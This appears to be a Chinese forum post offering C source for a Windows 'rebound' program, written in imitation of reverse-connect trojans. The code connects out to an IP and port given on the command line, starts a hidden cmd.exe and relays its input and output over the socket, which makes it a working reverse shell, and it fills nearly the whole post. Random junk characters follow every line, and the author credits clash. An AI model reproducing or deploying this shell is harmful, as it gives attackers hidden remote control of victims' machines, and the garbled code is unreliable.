这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 C`jP8"-
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/* ============================== FI/YJ@21
Rebound port in Windows NT vfbe=)}[
By wind,2006/7 18n84RkI9
===============================*/ &
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#include g-:)}8d6
#include %zelpBu+
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#pragma comment(lib,"wsock32.lib") 1tr>D:c\
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void OutputShell(); V?O%k d
SOCKET sClient; fM|g8(TK,
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; dH/t|.%
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void main(int argc,char **argv) \=@r1[d
{ c==Oio("
WSADATA stWsaData; 4bxkp3~h;
int nRet; dikWk
SOCKADDR_IN stSaiClient,stSaiServer; =k*0O_
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if(argc != 3) "~(&5M\8`
{ qE`=^
printf("Useage:\n\rRebound DestIP DestPort\n"); h/fCCfO,
return; ^kl9U+
} pNqf2CnnT
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WSAStartup(MAKEWORD(2,2),&stWsaData); *QG3 Jz
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HEuM"2{DMM
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stSaiClient.sin_family = AF_INET; VBX#
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stSaiClient.sin_port = htons(0); ii;WmE&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); da2[
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) baNfS
{ R2$ U K
printf("Bind Socket Failed!\n"); N-rmk
return; Lmwh`oOl
} 7idi&h"
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stSaiServer.sin_family = AF_INET; <]'"e]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >jX
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fl"y@;;#h
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) gFT~\3jp=
{ (oXN >^-D
printf("Connect Error!"); s\W
return; cY2-T#rL
} ~B&*7Q7
OutputShell(); Nr"N\yOA/
} UNQRtR/
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void OutputShell() -L9R&r#_e
{ ^V}R(gDu}s
char szBuff[1024]; nr>{ uTa
SECURITY_ATTRIBUTES stSecurityAttributes; tHtV[We.:
OSVERSIONINFO stOsversionInfo; jAK{<7v4U
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; r.W,-%=bL
STARTUPINFO stStartupInfo; *yaX:,'\$
char *szShell; ,Us2UEWNv
PROCESS_INFORMATION stProcessInformation; (b%y$D
unsigned long lBytesRead; HJ qQlEq
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *kQCW#y0
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~u0xXfv#
stSecurityAttributes.lpSecurityDescriptor = 0; %kx
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stSecurityAttributes.bInheritHandle = TRUE; g?~ Tguv
^ MT9n
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yvz?4m"_yB
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -2&i)S0R
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _E6}XNS
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h4anr7g{
stStartupInfo.wShowWindow = SW_HIDE; v'@b. R,
stStartupInfo.hStdInput = hReadPipe; kwHqvO!G
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; MdH97L)L.0
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GetVersionEx(&stOsversionInfo); ISS\uj63M
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switch(stOsversionInfo.dwPlatformId) 'e]HP-Y<
{ -+}5ma
case 1: o-~~,n\
szShell = "command.com"; 1s`)yu^`v
break; %l}Q?Z
default: "#pzZ)Zh
szShell = "cmd.exe"; HK0::6n{
break; mF'-Is
} Xlv#=@;O]
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); efjO8J[uk-
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send(sClient,szMsg,77,0); bar0{!Y"
while(1) rLJ[FqS
{ 2@ 9pr
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); > BNw
if(lBytesRead) k&)K(
{ R-pH Quu3
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); dL_QX,X-]
send(sClient,szBuff,lBytesRead,0); Xsd$*F@<
} aDL)|>"Q
else 'y9*uT~
{ ~BZXt7DE
lBytesRead=recv(sClient,szBuff,1024,0); (=1q!c`
if(lBytesRead<=0) break; o]Wz6L
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); p jKt:R}
} hq<5lE^
} u7;`4P:o@
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return; 4'SaEsA~
}